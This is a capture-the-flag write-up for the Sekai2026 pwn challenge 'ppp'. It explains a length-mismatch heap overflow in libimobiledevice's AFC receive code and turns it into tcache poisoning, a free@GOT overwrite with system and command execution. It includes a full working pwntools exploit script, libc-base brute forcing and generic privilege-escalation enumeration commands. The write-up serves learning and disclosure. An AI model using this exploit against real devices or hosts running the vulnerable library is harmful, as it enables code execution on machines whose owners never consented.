ppp
ppp
Platform: Sekai2026 | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-27 | Status: Solved Techniques: free_to_system, got_overwrite, length_mismatch_overflow, libc_base_guessing, protocol_emulation, tcache_poisoning
Summary
Task: attacker controls the AFC device side for libimobiledevice's afc_list client, exposing a real 0day-style heap overflow from inconsistent AFC lengths. Solution: shape tcache, overflow a freed small chunk, poison malloc to free@GOT, write system, and trigger /readflag via free(command).
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
sekai2026| ID:20260627_sekai2026_ppp - Tags: heap_overflow, got_overwrite, partial_relro, nx, tcache_poisoning, shstk, ibt, non_pie, libimobiledevice, afc_protocol, zero_day_style
- Indicators: host-side client talks to attacker-controlled device protocol, AFC header has separate entire_length and this_length fields, malloc(entire_len) followed by receive(this_len) without this_len <= entire_len validation, Partial RELRO leaves free@GOT writable, make_strings_list() allocates token strings and free_list() frees them in reverse order
- Source:
20260627_sekai2026_ppp.md
Foothold
Vulnerability / Misconfiguration
- Free_to_system
- Got_overwrite
- Length_mismatch_overflow
- Libc_base_guessing
- Protocol_emulation
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- free_to_system
- got_overwrite
- length_mismatch_overflow
- libc_base_guessing
- protocol_emulation
- tcache_poisoning
- Tags: heap_overflow, got_overwrite, partial_relro, nx, tcache_poisoning, shstk, ibt, non_pie, libimobiledevice, afc_protocol, zero_day_style
Original Writeup
<details><summary>Click to expand original content</summary>Description
ppp — insert your typical "you might need a 0day for this" description
We are given a pwn challenge with a remote service at:
nc ppp.chals.sekai.team 1337
The provided archive is pwn_ppp.tar.gz, extracted under pwn_ppp/. The interesting binary is afc_list, built from the libimobiledevice stack inside the supplied Docker environment. The challenge gives us the device side of the AFC protocol, while afc_list is the host-side client.
The final exploit abuses a real 0day-style bug in libimobiledevice's AFC receive path. This writeup focuses on the technical issue and the CTF exploit chain.
Analysis
Binary and environment
afc_list is a dynamically linked amd64 ELF with the following relevant properties:
- non-PIE
- Partial RELRO
- stack canary
- NX
- SHSTK / IBT
The Dockerfile builds libimobiledevice from commit:
fa0f79190142bc309307967c058f89c1b36eb6b8
and compiles src/afc_list.c. Because we control the device side of the protocol, the attack surface is not command-line parsing in afc_list, but the library code that receives and parses AFC responses from the device.
Vulnerability: AFC length mismatch heap overflow
The bug is in libimobiledevice src/afc.c, in afc_receive_data().
The receive logic reads an AFC header containing both entire_length and this_length. It then computes payload lengths approximately as:
entire_len = (uint32_t)header.entire_length - sizeof(AFCPacket);
this_len = (uint32_t)header.this_length - sizeof(AFCPacket);
buf = malloc(entire_len);
if (this_len > 0) {
service_receive(..., buf, this_len, ...);
}
The missing check is:
this_len <= entire_len
As a malicious device, we can send a header where entire_length is small enough to allocate a small heap buffer, but this_length is larger. The subsequent service_receive() writes this_len bytes into a malloc(entire_len) allocation, producing a heap overflow.
This is especially useful because the target binary is non-PIE and Partial RELRO, so writable GOT entries such as free@GOT are fixed and writable. The exploit uses the overflow only to corrupt tcache metadata, then turns a later strdup() into a write to free@GOT.
Exploitation
1. Shape heap and tcache with devinfo
First, the exploit sends the devinfo command to afc_list and replies with AFC DATA of size 0xf0:
X\0 + padding to 0xf0
This makes the client parse a one-element string list. Internally, make_strings_list() allocates:
- a
0x20list chunk - a
strdup("X")chunk
After the command completes, free_list() frees those chunks. This leaves a useful heap/tcache layout immediately after the previously allocated 0xf0 data chunk.
2. Overflow from a STATUS response into a freed small chunk
Next, the exploit sends:
mkdir /x
and replies with AFC STATUS where:
entire_len = 0xf0this_len > 0xf0
The allocation is only 0xf0, but the receive copies more than 0xf0 bytes. The payload begins with status param1 = 0, so the command is considered successful, then fills the 0xf0 data buffer and overflows into the adjacent freed 0x20 chunk metadata.
The overflow writes a fake next chunk header and poisons the tcache fd pointer to:
free@GOT = 0x404070
3. Turn strdup() into a GOT overwrite
A final devinfo command receives two NUL-separated tokens:
- The first six non-NUL bytes of
system's address - A padded command string:
/readflag sekai ppp #...
When make_strings_list() allocates the poisoned 0x20 list entry and then calls strdup() on the first token, the tcache poison makes that strdup() return free@GOT. Copying the six-byte string overwrites free@GOT with system.
Then free_list() frees strings in reverse order. The command string is freed first, but free now points to system, so the program executes:
/readflag sekai ppp
4. Libc address
ASLR was disabled in the jail, but the libc base still had to be guessed. The working values were:
libc base = 0x7ffff7d65000 system = 0x7ffff7db7290 offset = 0x52290
The system offset came from the provided libc.
Solve script
#!/usr/bin/env python3
from pwn import *
import struct, sys, time
HOST='ppp.chals.sekai.team'
PORT=1337
MAGIC=b'CFA6LPAA'
HDR=40
OP_STATUS=1
OP_DATA=2
FREE_GOT=0x404070
SYSTEM_OFF=0x52290
context.log_level='error'
def p64(x): return struct.pack('<Q', x)
def recv_req(io):
h=io.recvn(HDR, timeout=3)
if len(h)<HDR:
raise EOFError('no hdr')
magic, entire, this, num, op = struct.unpack('<8sQQQQ', h)
if magic != MAGIC:
raise ValueError(f'bad magic {magic!r}')
body=b''
if this>HDR:
body=io.recvn(this-HDR, timeout=3)
if entire>this:
body += io.recvn(entire-this, timeout=3)
return num, op, body
def send_resp(io, num, op, entire_len, payload):
this_len=len(payload)
h=struct.pack('<8sQQQQ', MAGIC, HDR+entire_len, HDR+this_len, num, op)
io.send(h+payload)
def send_cmd(io, cmd):
io.recvuntil(b'afc> ', timeout=3)
io.send(cmd+b'\n')
return recv_req(io)
def attempt(system_addr, verbose=False):
io=remote(HOST, PORT, level='error')
try:
num,op,body=send_cmd(io,b'devinfo')
A=0xf0
data=b'X\0'+b'Y'*(A-2)
send_resp(io,num,OP_DATA,A,data)
io.recvuntil(b'afc> ', timeout=3)
io.send(b'mkdir /x\n')
num,op,body=recv_req(io)
payload=p64(0) + b'A'*(A-8)
payload+=p64(0)+p64(0x21)+p64(FREE_GOT)
send_resp(io,num,OP_STATUS,A,payload)
io.recvuntil(b'afc> ', timeout=3)
io.send(b'devinfo\n')
num,op,body=recv_req(io)
sys6=system_addr.to_bytes(8,'little')[:6]
if b'\0' in sys6:
raise ValueError('NUL in sys6')
cmd=b'/readflag sekai ppp #AAAAAAAAAAAAAAA'
data=sys6+b'\0'+cmd+b'\0'
send_resp(io,num,OP_DATA,len(data),data)
out=io.recvall(timeout=2)
if verbose:
print(out)
return out
except Exception:
try: io.close()
except: pass
return b''
if __name__=='__main__':
if len(sys.argv)>1:
bases=[int(x,0) for x in sys.argv[1:]]
else:
bases=[]
for start,end in [(0x7ffff7d00000,0x7ffff7f00000),(0x7ffff7900000,0x7ffff8100000)]:
bases += list(range(start,end,0x1000))
seen=set()
for base in bases:
if base in seen: continue
seen.add(base)
system=base+SYSTEM_OFF
out=attempt(system)
if b'SEKAI{' in out or b'flag{' in out or b'CTF{' in out:
print(out.decode('latin-1','replace'))
print('base',hex(base),'system',hex(system))
break
if out:
s=out.decode('latin-1','replace')
if 'not found' in s or 'syntax' in s or 'SEKAI' in s:
print('cand',hex(base), repr(s[:200]))
if (base & 0xffff)==0:
print('tried',hex(base), file=sys.stderr)
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR